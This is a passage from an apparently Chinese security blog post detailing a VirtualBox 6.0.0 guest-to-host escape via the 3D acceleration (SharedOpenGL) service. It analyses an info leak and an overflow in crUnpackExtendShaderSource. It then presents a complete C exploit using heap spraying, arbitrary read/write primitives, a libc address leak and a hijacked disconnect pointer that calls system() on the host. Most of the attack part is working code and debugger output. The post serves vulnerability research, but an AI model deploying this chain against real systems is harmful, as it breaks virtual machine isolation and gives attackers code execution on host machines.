   352     SET_WRITEBACK_PTR(packet_length-8);
   353     cr_unpackDispatch.GetUniformLocation(program, name);
pwndbg> tel cr_unpackData 100
00:0000│ rdi 0x7fb89214f080 ◂— 0xa400000248
01:0008│     0x7fb89214f088 ◂— 0x6b61656c00000000
02:0010│     0x7fb89214f090 ◂— 0x0
... ↓        2 skipped
05:0028│     0x7fb89214f0a8 ◂— 0xffffffff
06:0030│     0x7fb89214f0b0 ◂— 0x0
... ↓        9 skipped
10:0080│     0x7fb89214f100 ◂— 0x3e8000003e800
11:0088│     0x7fb89214f108 ◂— 0x0
12:0090│     0x7fb89214f110 ◂— 0x0
13:0098│     0x7fb89214f118 ◂— 0x100000000
14:00a0│     0x7fb89214f120 ◂— 0x0
... ↓        2 skipped
17:00b8│     0x7fb89214f138 ◂— 0x1b58
18:00c0│     0x7fb89214f140 —▸ 0x7fb8a5cfc00c (crVBoxHGCMAlloc) ◂— push   rbp
19:00c8│     0x7fb89214f148 —▸ 0x7fb8a5cfcd4e (crVBoxHGCMFree) ◂— push   rbp
1a:00d0│     0x7fb89214f150 —▸ 0x7fb8a5cfc982 (crVBoxHGCMSend) ◂— push   rbp
1b:00d8│     0x7fb89214f158 ◂— 0x0

因此这里我们无需用到越界读也能泄露出原来CRConnection中的信息,我们泄露出位于0x248处的pClient地址以后,重新建立了一个新的VBoxSharedCrOpenGL服务,以便我们后续劫持该服务中的CRConnection中一些函数指针,从而控制程序流程

   uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);
   //重新将新的CRClient和CRConnection结构体占位与此
   new_client = hgcm_connect("VBoxSharedCrOpenGL");
   LeakClient lc = {
        .new_client = new_client,
        .client_addr = client_addr
   };
   /*for (int i=0;i<100;i++) {
      printf("%02x ",crmsg_buf[i]);
   }*/
   return lc;

crUnpackExtendShaderSource

分析

现在来看第二个漏洞crUnpackExtendShaderSource函数

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;

    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }

    pos = 20 + count * sizeof(*pLocalLength);

    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }

    pos_check = pos;

    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }

    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }

        pos_check += pLocalLength[i];
    }

    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;

    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }

        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];

            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }

//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);

    crFree(ppStrings);
}

该函数的中间的一个循环,每次循环开始,检查前一次累加出的pos_check是否越界,显然经过这样的检查,pos_check肯定在INT32_MAX范围内,但是后一个范围即DATA_POINTER_CHECK(pos_check)的检查则不一定了

for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
        pos_check += pLocalLength[i];
    }

因为对于最后一次的循环,pLocalLength[i];可以为任意大小的值,将其累加到pos_check上面以后,就退出了循环,没有再次检查pos_check是否还在DATA_POINTER范围内。由于上述的检查不充分,下方的循环将导致溢出

        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];

            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }

虽然存在Assert(j == jUpTo - 1);的检查,但是对于release版本,在编译时Assert会被去掉。因此,上述代码可以溢出指定长度,并将后方为空字节的数据替换为\n

利用

对于这种溢出,一个好的利用方式就是通过它将\0替换为\n的特性将某些类似于Buffer的对象的length修改,从而使得该Buffer能够越界溢出,进而控制其他对象。
前面SHCRGL_GUEST_FN_WRITE_BUFFER命令创建的CRVBOXSVCBUFFER_t对象是一个很好的选择,该对象结构如下

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

将该对象布局到cr_unpackData后方,通过溢出,可以将CRVBOXSVCBUFFER_t中的uiSize改大,从而使得该CRVBOXSVCBUFFER_t能够溢出。假设在该CRVBOXSVCBUFFER_tpData指向的内存后方还有一个CRVBOXSVCBUFFER_t,那么通过溢出,可以控制后面整个CRVBOXSVCBUFFER_t,从而实现任意地址读写。
首先通过申请大量的Buffer,消耗内存碎片,最后申请的几个Buffer就很大可能连续

   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                CR_EXTEND_OPCODE << 24,
                0x12345678,
                CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode
                0, //shader
                2, //count
                0, //hasNonLocalLen
                0x1,0x100, // *pLocalLength
                0x12345678 //padding
                };
   for (int i=0;i<0x1000-0x4;i++) {
       alloc_buf(client,sizeof(msg),"heap fengshui",23);
   }
   int buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
   int buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaa",sizeof(msg));
   int buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbb",sizeof(msg));
   int buf4 = alloc_buf(client,sizeof(msg),"ccccccccccccc",sizeof(msg));
   crmsg_with_bufid(client,buf1);

如上代码,我们选择buf1作为cr_unpackData,想要通过buf1溢出修改buf2的uiSize,调试如下

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
   79     if (!ppStrings) return;
   80 
   81     for (i = 0; i < count; ++i)
   82     {
   83         ppStrings[i] = DATA_POINTER(pos, char);
 ► 84         pos += pLocalLength[i];
   85         if (!length)
   86         {
   87             pLocalLength[i] -= 1;
   88         }
   89 
pwndbg> x /2gx ppStrings
0x7fb890f34ed0:    0x00007fb893001fcc    0x00007fb893001fcd
pwndbg> x /20gx 0x00007fb893001fcd
0x7fb893001fcd:    0x0000000000123456    0x0000000035000000
0x7fb893001fdd:    0x3000007b06000000    0xb893002010000000
0x7fb893001fed:    0xb893001f7000007f    0xb89300205000007f
0x7fb893001ffd:    0x000000000000007f    0x0000000045000000
0x7fb89300200d:    0x6161616161000000    0x6161616161616161
0x7fb89300201d:    0x6262626262626200    0x6300626262626262
0x7fb89300202d:    0x6363636363636363    0x4364690063636363
0x7fb89300203d:    0x000000000065696c    0x0000000035000000
0x7fb89300204d:    0x3000007b07000000    0xb893002080000000
0x7fb89300205d:    0xb893001fe000007f    0xb8930020c000007f

通过上面调试的数据,可以知道,我们的堆风水已经弄好了,现在就是溢出,修改buf2的uiSize,我们先通过调试,确定精确的溢出偏移大小,仅达到修改uiSize,保证其后面的数据不被破坏

In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
    91         jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
    92         for (j = 0; j < jUpTo; ++j)
    93         {
    94             char *pString = ppStrings[i];
    95 
 ►  96             if (pString[j] == '\0')
    97             {
    98                 Assert(j == jUpTo - 1);
    99                 pString[j] = '\n';
   100             }
   101         }
pwndbg> x /20wx pString+0x3
0x7fb893001fd0:    0x00000000    0x00000000    0x00000035    0x00000000
0x7fb893001fe0:    0x00007b06    0x00000030    0x93002010    0x00007fb8
0x7fb893001ff0:    0x93001f70    0x00007fb8    0x93002050    0x00007fb8
0x7fb893002000:    0x00000000    0x00000000    0x00000045    0x00000000
0x7fb893002010:    0x61616161    0x61616161    0x61616161    0x62620061

我们确定出修改uiSize需要0x1B的偏移

如图,buf2的uiSize已经成功被修改,现在我们就可以利用buf2修改buf3的CRVBOXSVCBUFFER_t结构体,构造任意地址读写原语。由于此处的堆是通过glibc申请的,因此当我们修改uiSize后,glibc堆chunk的头部也已经损坏,此时调用到svcFreeBuffer(pSvcBuffer);时,在glibc2.23环境下,虚拟机会发生崩溃。因此我们在ubuntu 1804上进行测试,由于glibc 2.27有tcache机制,不会检查chunk的size因此可以在glibc 2.27及以上完成利用。当在glibc2.27及以上环境时,我们换一种方式来布置堆风水

   int buf1,buf2,buf3,buf4;
   for (int i=0;i<0x4000;i++) {
       buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
       buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));
       buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));
       buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));
   }
   crmsg_with_bufid(client,buf1);

这样使得buf1、buf2、buf3、buf4相邻的可能比较大。
现在,我们已经可以通过buf2来控制整个buf3的CRVBOXSVCBUFFER_t了,那么我们可以构造出任意地址写的原语

int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {
   ArbWrite data = {
      .size = size,
      .addr = addr
   };
   //set CRVBOXSVCBUFFER_t's pData and size
   write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));
   //arb write
   write_buf(client,arb_buf,size,0,buf,size);
   return 0;
}

有了任意地址写的原语以后,我们就要考虑如何构造任意地址读的原语。在svcCall中,有一条命令SHCRGL_GUEST_FN_READ

       case SHCRGL_GUEST_FN_READ:
        {
.........
            /* Fetch parameters. */
            uint8_t *pBuffer  = (uint8_t *)paParms[0].u.pointer.addr;
            uint32_t cbBuffer = paParms[0].u.pointer.size;

            /* Execute the function. */
            rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);

该命令会调用crVBoxServerClientRead函数,进一步进入crVBoxServerInternalClientRead函数

int32_t crVBoxServerInternalClientRead(CRClient *pClient, uint8_t *pBuffer, uint32_t *pcbBuffer)
{
    if (pClient->conn->cbHostBuffer > *pcbBuffer)
    {
        crDebug("crServer: [%lx] ClientRead u32ClientID=%d FAIL, host buffer too small %d of %d",
                  crThreadID(), pClient->conn->u32ClientID, *pcbBuffer, pClient->conn->cbHostBuffer);

        /* Return the size of needed buffer */
        *pcbBuffer = pClient->conn->cbHostBuffer;

        return VERR_BUFFER_OVERFLOW;
    }

    *pcbBuffer = pClient->conn->cbHostBuffer;

    if (*pcbBuffer)
    {
        CRASSERT(pClient->conn->pHostBuffer);

        crMemcpy(pBuffer, pClient->conn->pHostBuffer, *pcbBuffer);
        pClient->conn->cbHostBuffer = 0;
    }

    return VINF_SUCCESS;
}

关键的一句代码crMemcpy(pBuffer, pClient->conn->pHostBuffer, *pcbBuffer);,可见该命令的作用是将pClient->conn->pHostBuffer中的内容拷贝给Guest,由于现在我们实现了任意地址写,并且pClient->conn的地址也已经知道,那么我们可以控制pHostBuffer,从而实现任意地址读。

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
   //设置pHostBuffer为目的地址
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
   //设置size
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
   //通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
   return read_hostbuf(client,0x100,buf);
}

现在利用任意地址读,泄露出CRConnection中的函数指针

   //读取函数指针,泄露地址
   arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);
   uint64_t alloc_addr = *((uint64_t *)buff);
   printf("alloc_addr=0x%lx\n",alloc_addr);

当我们调试时,发现当我们的程序运行完毕以后,虚拟机就是崩溃

pwndbg> k
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f0b1da41921 in __GI_abort () at abort.c:79
#2  0x00007f0b1da8a967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f0b1dbb7b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f0b1da919da in malloc_printerr (str=str@entry=0x7f0b1dbb9818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007f0b1da98f6a in _int_free (have_lock=0, p=0x7f0abb1470a0, av=0x7f0b1ddecc40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x7f0abb1470b0) at malloc.c:3134
#6  0x00007f0b2051da8f in RTMemFree (pv=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/alloc.cpp:262
#7  0x00007f0abaf25c4f in crFree (ptr=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/mem.c:128
#8  0x00007f0abaf385c9 in _crVBoxCommonDoDisconnectLocked (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1370
#9  crVBoxHGCMDoDisconnect (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1412
#10 0x00007f0abb171909 in crVBoxServerRemoveClientObj (pClient=0x7f0a05bd8d70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:677
#11 crVBoxServerRemoveClient (u32ClientID=43) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:716
#12 0x00007f0abb160945 in svcDisconnect (u32ClientID=<optimized out>, pvClient=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:144
#13 0x00007f0afdaa1eb4 in hgcmServiceThread (pThread=0x7f0ab0003a60, pvUser=0x7f0ab0003900) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:684
#14 0x00007f0afda9fd5f in hgcmWorkerThreadFunc (hThreadSelf=<optimized out>, pvUser=0x7f0ab0003a60) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#15 0x00007f0b204b5e7c in rtThreadMain (pThread=pThread@entry=0x7f0ab0003c90, NativeThread=NativeThread@entry=139684077311744, pszThreadName=pszThreadName@entry=0x7f0ab0004570 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719

通过栈回溯发现,是因为pHostBufferdisconnect时,被free了,由于pHostBuffer被我们指向了任意地址,因此不会是一个合法的chunk。但是想到我们并没有对HGCM进行disconnect操作,经过研究发现只要我们的程序结束运行,HGCM就会自动断开。因此解决方法有很多,一种是不让我们的程序结束,结尾放一个死循环;另一种是将disconnect函数指针指向附近的retn指令,使得执行该指令时什么都不做。这里我使用的是第二种方法,因此我们的任意地址读原语

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
   char val = 0x64;
   //防止disconnect时free pHostBuffer时崩溃,我们将disconnect函数指针指向附近的retn指令处
   arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);
   //设置pHostBuffer为目的地址
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
   //设置size
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
   //通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
   stop();
   return read_hostbuf(client,0x100,buf);
}

getshell

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include "chromium.h"
#include "hgcm.h"

#define OFFSET_ALLOC_FUNC_PTR 0xD0
#define OFFSET_DISCONN_FUNC_PTR 0x128
#define OFFSET_PCLIENT 0x248
#define CRVBOXSVCBUFFER_SIZE 0x20
#define OFFSET_CONN_HOSTBUF 0x238
#define OFFSET_CONN_HOSTBUFSZ 0x244

typedef struct LeakClient {
   int new_client;
   uint64_t client_addr;
   uint64_t conn_addr;
} LeakClient;

typedef struct ArbWrite {
   uint32_t size;
   uint64_t addr;
} ArbWrite;

LeakClient leak_client(int client) {
   //heap spray
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x298,"CRConnection_size_fill",23);
   }
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x9d0,"CRClient_size_fill",23);
   }
   //CRClient和CRConnection结构体将被创建
   int new_client = hgcm_connect("VBoxSharedCrOpenGL");
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x298,"CRConnection_size_fill",23);
   }
   for (int i=0;i<600;i++) {
      alloc_buf(client,0x9d0,"CRClient_size_fill",23);
   }

   //释放CRClient和CRConnection结构体
   hgcm_disconnect(new_client);

   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                CR_EXTEND_OPCODE << 24,
                OFFSET_PCLIENT, //packet_length
                CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
                0, //program
                *(uint32_t *)"leak" //name
                };
   //将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置,从而进行数据泄露
   crmsg(client,0x298,msg,sizeof(msg));

   uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);
   uint64_t conn_addr = client_addr +  0x9e0;
   //重新将新的CRClient和CRConnection结构体占位与此
   new_client = hgcm_connect("VBoxSharedCrOpenGL");
   LeakClient lc = {
        .new_client = new_client,
        .client_addr = client_addr,
        .conn_addr = conn_addr
   };
   return lc;
}

int stop() {
   char buf[0x10];
   write(1,"stop",0x5);
   read(0,buf,0x10);
}

int oob_buf;
int arb_buf;

int make_oob_buf(int client) {
   uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
                0x66666666, //conn_id
                1, //numOpcodes
                CR_EXTEND_OPCODE << 24,
                0x12345678,
                CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode
                0, //shader
                2, //count
                0, //hasNonLocalLen
                0x1,0x1B, // *pLocalLength
                0x12345678 //padding
                };
   //heap spray
   int buf1,buf2,buf3,buf4;
   for (int i=0;i<0x5000;i++) {
       buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
       buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));
       buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));
       buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));
   }
   crmsg_with_bufid(client,buf1);
   //generate a new id
   char *buf2_id = (char *)&buf2;
   for (int i=0;i<4;i++) {
      if (buf2_id[i] == '\0') buf2_id[i] = '\n';
   }
   //now buf2 was corrupted
   oob_buf = buf2;
   arb_buf = buf3;
   return 0;
}

int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {
   ArbWrite data = {
      .size = size,
      .addr = addr
   };
   //set CRVBOXSVCBUFFER_t's pData and size
   write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));
   //arb write
   write_buf(client,arb_buf,size,0,buf,size);
   return 0;
}

int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
   char val = 0x64;
   //防止disconnect时free pHostBuffer时崩溃,我们将disconnect函数指针指向附近的retn指令处
   arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);
   //设置pHostBuffer为目的地址
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
   //设置size
   arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
   //通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
   stop();
   return read_hostbuf(client,0x100,buf);
}

unsigned char buff[0x100] = {0};

int main() {
   int idClient = hgcm_connect("VBoxSharedCrOpenGL");
   printf("idClient=%d\n",idClient);
   set_version(idClient);
   //泄露出CRConnection的地址
   LeakClient leak = leak_client(idClient);

   int new_client = leak.new_client;
   set_version(new_client);
   uint64_t conn_addr = leak.conn_addr;
   printf("new_client=%d new_client's CRClient addr=0x%lx CRConnection addr=0x%lx\n",new_client,leak.client_addr,conn_addr);
   //制造OOB对象
   make_oob_buf(new_client);
   hgcm_disconnect(idClient);
   //读取函数指针,泄露地址
   arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);
   uint64_t alloc_addr = *((uint64_t *)buff);
   printf("alloc_addr=0x%lx\n",alloc_addr);
   uint64_t VBoxOGLhostcrutil_base = alloc_addr - 0x209d0;
   uint64_t abort_got = VBoxOGLhostcrutil_base + 0x22F0B0;
   arb_read(new_client,conn_addr,abort_got,8,buff);
   uint64_t abort_addr = *((uint64_t *)buff);
   printf("abort_addr=0x%lx\n",abort_addr);
   uint64_t libc_base = abort_addr - 0x407e0;
   uint64_t system_addr = libc_base + 0x4f550;
   printf("libc_base=0x%lx\n",libc_base);
   printf("system_addr=0x%lx\n",system_addr);
   //修改disconnect函数指针为system地址
   arb_write(new_client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x8,&system_addr);
   char *cmd = "/usr/bin/galculator";
   arb_write(new_client,conn_addr,strlen(cmd)+1,cmd);
   //getshell
   hgcm_disconnect(new_client);
}

效果如下

有关我前面分析到的HGCM协议和Chromium协议使用的C语言版的3dpwn库在我的github,欢迎大家来个star。

 

0x03 感想

第一次完成了VirtualBox的虚拟机逃逸,收获很多,成就感也很大。在安全研究的这条路上还要走很远,加油。

 

0x04 参考

Breaking Out of VirtualBox through 3D Acceleration
48小时逃逸Virtualbox虚拟机——记一次CTF中的0day之旅
Virtual-Box-Exploitation-2
Better slow than sorry – VirtualBox 3D acceleration considered harmful
利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)
3dpwn

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